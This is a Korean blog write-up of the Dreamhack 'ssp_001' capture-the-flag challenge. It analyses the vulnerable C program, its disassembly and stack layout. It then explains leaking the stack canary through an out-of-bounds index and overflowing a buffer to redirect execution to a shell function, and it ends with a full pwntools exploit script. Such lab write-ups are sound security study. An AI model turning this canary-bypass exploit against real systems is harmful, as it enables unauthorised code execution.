System Hacking

[System Hacking] Dreamhack : ssp_001 문제 풀이 (Canary)

Papya_j 2024. 8. 22. 19:55

Canary와 관련된 문제인 ssp_001을 풀어보겠다.

환경에 대해서 친절하게 설명해줬지만 그냥 checksec으로 한번 더 해봤다. (wsl 사용)

아키텍쳐는 i386-32를 사용한다 (32bit)

Canary found인 것을 확인할 수 있다.

 

nc로 접속해보았는데 뭐가 조건이 좀 많았다.

1. Fill the box

2. Print the box

3. Exit

코드를 자세히 살펴봐야 될 것 같다.

[문제 분석]

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

제공된 전체 c 코드이다. 

하나하나 세밀히 분석해보겠다.


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}

먼저 선언된 함수들이다.

- alarm_handler, initialize : 각각 TIME OUT이 되는 것과, setvbuf에 대한 초기 설정에 해당한다.

- get_shell : 이 함수를 통해 system call로 shell을 얻을 수 있어 보인다.

- print_box : box의 주소와 index를 받아서 index에 해당하는 box값을 출력하는 역할이다.

- menu : 시작할 시에 보이는 menu에 대한 프롬프트 출력 화면임을 알 수 있다.

 

-> 여기서 get_shell부분이 나중에 쓰일 것 같다.

 

이제 main 코드를 살펴보겠다.

int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();

변수 선언과 관련된 부분이다.

- box, name : char 형식으로 선언되었으며 0x40만큼의 길이를 가진다(64바이트)

- select : F P E 중 하나를 입력으로 받을 때 사용되는 변수이다

- idx, name_len : int 형식으로 0으로 초기화 했다.

- initialize() : 시작 부분이다

 

while(1) {
    menu();
    read(0, select, 2);
    switch( select[0] ) {
        case 'F':
            printf("box input : ");
            read(0, box, sizeof(box));
            break;
        case 'P':
            printf("Element index : ");
            scanf("%d", &idx);
            print_box(box, idx);
            break;
        case 'E':
            printf("Name Size : ");
            scanf("%d", &name_len);
            printf("Name : ");
            read(0, name, name_len);
            return 0;
        default:
            break;
    }
}

실질적 시작 부분이다. while을 통해 무한루프로 반복하는 것을 알 수 있다.

- read(0, select, 2)를 통해 select에 대한 입력을 받는다.

- switch 문으로 select의 값에 따라 case를 나눈다.

- case F : box input에 대한 것으로 box size에 맞게 box에 대한 input을 받는다

- case P : Element index에 대한 것, idx에 대한 숫자를 scanf로 입력받은 후에 print_box를 하고 끝난다.

- case E : Name size를 name_len 변수에다가 scanf로 입력받은 후 Name을 Name_len길이에 맞게 입력받는다.

 

case E : 핵심이다. name_len을 정할 수 있고, 이에 맞는 name을 입력받기 때문에 버퍼 오버플로우가 발생할 수 있다.

case P : box의 임계값인 0x40 (64바이트) 를 넘은 index를 조사할 수 있다. 이를 통해 오버플로우된 값을 도출할 수 있고                canary값도 얻을 수 있디.


[디버깅]

pwndbg> disass main
Dump of assembler code for function main:
   0x0804872b <+0>:     push   ebp				# main 실행을 위한 현재 EBP값 스택에 push
   0x0804872c <+1>:     mov    ebp,esp				# 현재 ESP를 EBP로 복사 (새로운 스택 프레임)
   0x0804872e <+3>:     push   edi				# EDI값 스택에 push하여 보존
   0x0804872f <+4>:     sub    esp,0x94				# esp 0x94(148바이트)만큼 줄임-> 로컬 변수 저장을 위한 공간 할당
   0x08048735 <+10>:    mov    eax,DWORD PTR [ebp+0xc]				# eax에 main 함수 변수(argc or argv) 저장
   0x08048738 <+13>:    mov    DWORD PTR [ebp-0x98],eax				# ebp-0x98 위치에 eax값 저장
   0x0804873e <+19>:    mov    eax,gs:0x14				# CANARY값 로드
   0x08048744 <+25>:    mov    DWORD PTR [ebp-0x8],eax				# ebp-0x8에 CANARY 값 저장
   0x08048747 <+28>:    xor    eax,eax				# eax 0으로 초기화
   0x08048749 <+30>:    lea    edx,[ebp-0x88]				# BOX의 시작 주소 -> ebp-0x88 offset을 edx에 저장
   0x0804874f <+36>:    mov    eax,0x0				# eax에 0 저장
   0x08048754 <+41>:    mov    ecx,0x10				# ecx에 0x10(16) 로드 -> 반복문에 사용
   0x08048759 <+46>:    mov    edi,edx				# edi에 edx값 복사
   0x0804875b <+48>:    rep stos DWORD PTR es:[edi],eax				# eax(0)의 값을 edi(box 배열)에 ecx(16)번 저장 -> box 배열 16개의 4바이트 블록 0으로 초기화
   0x0804875d <+50>:    lea    edx,[ebp-0x48]				# NAME의 시작주소-> ebp-0x48 offset을 edx에 저장
   0x08048760 <+53>:    mov    eax,0x0				# eax에 0 저장
   0x08048765 <+58>:    mov    ecx,0x10				# ecx에 16 저장
   0x0804876a <+63>:    mov    edi,edx				# edi에 edx값 복사
   0x0804876c <+65>:    rep stos DWORD PTR es:[edi],eax				# name배열 box와 같이 초기화
   0x0804876e <+67>:    mov    WORD PTR [ebp-0x8a],0x0				# select배열의 첫 번째 바이트 (2바이트) 0으로 초기화
   0x08048777 <+76>:    mov    DWORD PTR [ebp-0x94],0x0				# idx 변수 (4바이트) 0으로 초기화
   0x08048781 <+86>:    mov    DWORD PTR [ebp-0x90],0x0				# name_len 변수 (4바이트) 0으로 초기화
   0x0804878b <+96>:    call   0x8048672 <initialize>				# 
   0x08048790 <+101>:   call   0x80486f1 <menu>				#
   0x08048795 <+106>:   push   0x2				# read에 들어가는 함수 인자
   0x08048797 <+108>:   lea    eax,[ebp-0x8a]				# select 배열의 시작 주소(ebp-0x8a를) eax에 로드
   0x0804879d <+114>:   push   eax				# select 배열 시작 주소 push
   0x0804879e <+115>:   push   0x0				# read 표준입력 0 push
   0x080487a0 <+117>:   call   0x80484a0 <read@plt>				# read 호출-> select 배열에 저장
   0x080487a5 <+122>:   add    esp,0xc				# esp + 0xc(12바이트) -> 함수 호출 전에 push된 인자 제거
   0x080487a8 <+125>:   movzx  eax,BYTE PTR [ebp-0x8a]				# select[0] 값 eax에 로드
   0x080487af <+132>:   movsx  eax,al				# select[0]의 값 부호 확장하여 eax에 저장
   0x080487b2 <+135>:   cmp    eax,0x46				# eax와 0x46('F') 비교
   0x080487b5 <+138>:   je     0x80487c6 <main+155>				# F면 주소로 점프
   0x080487b7 <+140>:   cmp    eax,0x50				# eax와 0x50('P') 비교
   0x080487ba <+143>:   je     0x80487eb <main+192>				# P면 주소로 점프
   0x080487bc <+145>:   cmp    eax,0x45				# eax와 0x45('E') 비교
   0x080487bf <+148>:   je     0x8048824 <main+249>				# E면 주소로 점프
   0x080487c1 <+150>:   jmp    0x804887a <main+335>				# 다 아니면 main+335로 점프 -> 다시 메뉴로 돌아감
   0x080487c6 <+155>:   push   0x804896c				# [F]의 시작 부분 / 'box input : ' 문자열의 주소 스택에 푸쉬
   0x080487cb <+160>:   call   0x80484b0 <printf@plt>				# 메세지 출력
   0x080487d0 <+165>:   add    esp,0x4				# 문자열 주소 제거하여 esp 복구
   0x080487d3 <+168>:   push   0x40				# 64바이트를 읽기 위한 값 스택에 push
   0x080487d5 <+170>:   lea    eax,[ebp-0x88]				# box 배열의 시작 주소 EAX에 로드
   0x080487db <+176>:   push   eax				# eax push
   0x080487dc <+177>:   push   0x0				# read 표준입력 0 push
   0x080487de <+179>:   call   0x80484a0 <read@plt>				# read -> box배열에 입력한 데이터 저장
   0x080487e3 <+184>:   add    esp,0xc				# esp 초기화
   0x080487e6 <+187>:   jmp    0x804887a <main+335>				# -> 다시 메뉴로 점프
   0x080487eb <+192>:   push   0x8048979				# [P]의 시작 부분 / 'Element index :' 문자열 주소 push
   0x080487f0 <+197>:   call   0x80484b0 <printf@plt>				# 문자열 출력
   0x080487f5 <+202>:   add    esp,0x4				# esp 복구
   0x080487f8 <+205>:   lea    eax,[ebp-0x94]				# idx 변수의 주소 eax에 로드
   0x080487fe <+211>:   push   eax				# idx 변수의 주소 push
   0x080487ff <+212>:   push   0x804898a				# %d 형식 문자열의 주소 스택에 push -> scanf함수 포맷으로 사용
   0x08048804 <+217>:   call   0x8048540 <__isoc99_scanf@plt>				# scanf 호출 -> idx변수에 저장
   0x08048809 <+222>:   add    esp,0x8				# esp 복구
   0x0804880c <+225>:   mov    eax,DWORD PTR [ebp-0x94]				# idx 변수 값 eax에 저장
   0x08048812 <+231>:   push   eax				# idx 변수 값 push
   0x08048813 <+232>:   lea    eax,[ebp-0x88]				# box 배열 시작 주소 eax에 로드
   0x08048819 <+238>:   push   eax				# box 배열 시작 주소 push
   0x0804881a <+239>:   call   0x80486cc <print_box>				# print_box 호출 -> box[idx] 값 출력
   0x0804881f <+244>:   add    esp,0x8				# esp 초기화
   0x08048822 <+247>:   jmp    0x804887a <main+335>				# -> 다시 메뉴로 점프
   0x08048824 <+249>:   push   0x804898d				# [E]의 시작 부분 / 'Name Size :' 문자열의 주소 push
   0x08048829 <+254>:   call   0x80484b0 <printf@plt>				# 메세지 출력
   0x0804882e <+259>:   add    esp,0x4				# esp 초기화
   0x08048831 <+262>:   lea    eax,[ebp-0x90]				# name_len 변수 주소 eax에 로드
   0x08048837 <+268>:   push   eax				# name_len 변수 주소 push
   0x08048838 <+269>:   push   0x804898a				# "%d" 형식 문자열 주소 push
   0x0804883d <+274>:   call   0x8048540 <__isoc99_scanf@plt>				# scanf 호출 -> name_len변수에 저장
   0x08048842 <+279>:   add    esp,0x8				# esp 초기화
   0x08048845 <+282>:   push   0x804899a				# 'Name :' 문자열 주소 push
   0x0804884a <+287>:   call   0x80484b0 <printf@plt>				# 메세지 출력
   0x0804884f <+292>:   add    esp,0x4				# esp 초기화
   0x08048852 <+295>:   mov    eax,DWORD PTR [ebp-0x90]				# name_len 값 eax에 로드
   0x08048858 <+301>:   push   eax				# name_len 값 push
   0x08048859 <+302>:   lea    eax,[ebp-0x48]				# name 배열 시작 주소 eax에 로드
   0x0804885c <+305>:   push   eax				# name 배열 시작 주소 push
   0x0804885d <+306>:   push   0x0				# read 표준입력 0 push
   0x0804885f <+308>:   call   0x80484a0 <read@plt>				# read -> name 배열에 입력 데이터 저장
   0x08048864 <+313>:   add    esp,0xc				# esp 복구
   0x08048867 <+316>:   mov    eax,0x0				# [종료 및 스택 복원 시작] / eax에 0 로드 -> 반환 값
   0x0804886c <+321>:   mov    edx,DWORD PTR [ebp-0x8]				# edx에 ebp-0x8 (CANARY) 저장된 값 로드
   0x0804886f <+324>:   xor    edx,DWORD PTR gs:0x14				# 실제 CANARY값 가져와서 XOR로 비교
   0x08048876 <+331>:   je     0x8048884 <main+345>				# 같으면 정상적으로 종료 루틴으로 jmp
   0x08048878 <+333>:   jmp    0x804887f <main+340>				# 다르면 비정상적 흐름 감지 -> 프로그램 터트림
   0x0804887a <+335>:   jmp    0x8048790 <main+101>				# -> 루프 도는 부분
   0x0804887f <+340>:   call   0x80484e0 <__stack_chk_fail@plt>		
   0x08048884 <+345>:   mov    edi,DWORD PTR [ebp-0x4]				
   0x08048887 <+348>:   leave
   0x08048888 <+349>:   ret

위 코드블럭은 어셈블리어에 해당한다. gdb로 실행시킨 후 disass main을 통해 main에 대한 어셈블리를 확인한 것이다.

+19 부분에 canary값을 가져오는 것을 확인할 ㅅ수 있고. +321부분부터 카나리값과 ebp-0x8의 값을 비교하여 같으면 통과되는 과정을 거치는 것을 알 수 있다.

 

주석으로 한 줄 한 줄 심도있게 분석해봤다. 함수의 흐름이 다 담겨있으니 참고용으로 보면 좋을 것 같다. 여기서 중요한 부분들만 뽑아서 설명해보겠다.

   0x0804872f <+4>:     sub    esp,0x94				# esp 0x94(148바이트)만큼 로컬 변수 저장 공간 할당
   0x08048735 <+10>:    mov    eax,DWORD PTR [ebp+0xc]		# eax에 main 함수 변수(argc or argv) 저장
   0x08048738 <+13>:    mov    DWORD PTR [ebp-0x98],eax		# ebp-0x98 위치에 eax값 저장
   0x0804873e <+19>:    mov    eax,gs:0x14			# CANARY값 로드
   0x08048744 <+25>:    mov    DWORD PTR [ebp-0x8],eax		# ebp-0x8에 CANARY 값 저장

-> esp-0x94를 통해 로컬 변수 저장을 위한 공간 할당

-> Canary값 로드하여 ebp-0x8에 저장

 

 

0x08048795 <+106>:   push   0x2				# read에 들어가는 함수 인자
0x08048797 <+108>:   lea    eax,[ebp-0x8a]		# select 배열의 시작 주소(ebp-0x8a를) eax에 로드
0x0804879d <+114>:   push   eax				# select 배열 시작 주소 push
0x0804879e <+115>:   push   0x0				# read 표준입력 0 push
0x080487a0 <+117>:   call   0x80484a0 <read@plt>	# read 호출-> select 배열에 저장

0x080487d5 <+170>:   lea    eax,[ebp-0x88]		# box 배열의 시작 주소 EAX에 로드
0x080487db <+176>:   push   eax				# eax push
0x080487dc <+177>:   push   0x0				# read 표준입력 0 push
0x080487de <+179>:   call   0x80484a0 <read@plt>	# read -> box배열에 입력한 데이터 저장

0x080487f8 <+205>:   lea    eax,[ebp-0x94]			# idx 변수의 주소 eax에 로드
0x080487fe <+211>:   push   eax					# idx 변수의 주소 push
0x080487ff <+212>:   push   0x804898a				# %d 형식 문자열의 주소 스택에 push -> scanf함수 포맷으로 사용
0x08048804 <+217>:   call   0x8048540 <__isoc99_scanf@plt>	# scanf 호출 -> idx변수에 저장


0x08048831 <+262>:   lea    eax,[ebp-0x90]			# name_len 변수 주소 eax에 로드
0x08048837 <+268>:   push   eax					# name_len 변수 주소 push
0x08048838 <+269>:   push   0x804898a				# "%d" 형식 문자열 주소 push
0x0804883d <+274>:   call   0x8048540 <__isoc99_scanf@plt>	# scanf 호출 -> name_len변수에 저장


0x08048859 <+302>:   lea    eax,[ebp-0x48]			# name 배열 시작 주소 eax에 로드
0x0804885c <+305>:   push   eax					# name 배열 시작 주소 push
0x0804885d <+306>:   push   0x0					# read 표준입력 0 push
0x0804885f <+308>:   call   0x80484a0 <read@plt>		# read -> name 배열에 입력 데이터 저장

 

변수 위치들 정리

select[2] = ebp - 0x8a

box[0x40] = ebp - 0x88

idx = ebp - 0x94

name_len = ebp - 0x90

name[0x40] = ebp - 0x48

CANARY = ebp - 0x8

Main 함수 내의 변수들의 위치를 위와 같이 파악할 수 있다.


[GDB]

b *main
r
x/4ww $esp

 

0xf7da0cb9 = main 시작 전 esp값 = RETURN

 

ni
x/4ww $esp

0x00000000 = ebp = esp -> 바이너리로 분석했더니 0x0인 것을 확인했다. 실제론 다를 수 있음

 

b *main +28
c
x/8wx $ebp-0x8

Canary 값 = 0x2d5eb100  -> 프로그램 시작마다 달라지기 때문에 사실상 지금 알아도 의미가 없음

Canary와 ebp 사이에 4바이트짜리 dummy값이 존재한다

EBP = 0x00000000  -> ebp

RETURN 값 = 0xf7da0cb9 

 


[Write Up]

변수 위치를 순서대로 정리해보겠다.

idx (int) =  ebp-0x94

name_len (int) = ebp-0x90

select (char [2]) = ebp-0x8a

box (char [0x40]) = ebp-0x88

name (char [0x40]) = ebp-0x48

CANARY = ebp-0x8

Dummy = ebp - 0x4

ebp (4바이트)

RETURN (4바이트)

 

그림으로 나타내면 위와 같다.

 

1. Canary 값 유출

Menu중 [P]를 사용하면 box의 index를 넘어서까지 조사할 수 있다. box의 시작 부분에서 Canary까지의 거리는 128이므로 128부터 131까지를 조사하면 Canary값을 도출해낼 수 있다.

 

 

Canary 값 : 0xebce8500 (Little Endian)

 

2. Stack Overflow

[E]를 사용하면 name_size에 맞게 name을 조정해서 넣을 수 있다. 이 때 name_len의 길이가 정해져있지 않기 때문에 알아낸 Canary를 덮고 RET주소를 get_shell 주소로 덮을 수 있다. 

'A' * 64 + Canary + 'A' * 8 + get_shell

 

 

Exploit Code

#!/usr/bin/env python3
from pwn import *

def slog(n,m):
    return success(': '.join([n, hex(m)])) 

p = remote('host3.dreamhack.games', 9434)
e = ELF("./ssp_001")
context.arch = 'i386'
#context.log_level = 'debug'

get_shell = e.symbols['get_shell']
canary = b""

i=131
while i>=128:
    p.sendlineafter("> ", 'P')
    p.sendlineafter("Element index : ", str(i))
    p.recvuntil("is : ")
    canary += p.recvn(2)
    i = i-1

canary = int(canary, 16)
slog("canary", canary)

payload = b'A'*64 + p32(canary) + b'A'*8 + p32(get_shell)

p.sendlineafter("> ",'E')
p.sendlineafter("Name Size : ", str(1000))
p.sendlineafter("Name : ", payload)

p.interactive()

 

flag를 획득할 수 있다.

 

 

참고

https://velog.io/@silvergun8291/Dreamhack-ssp001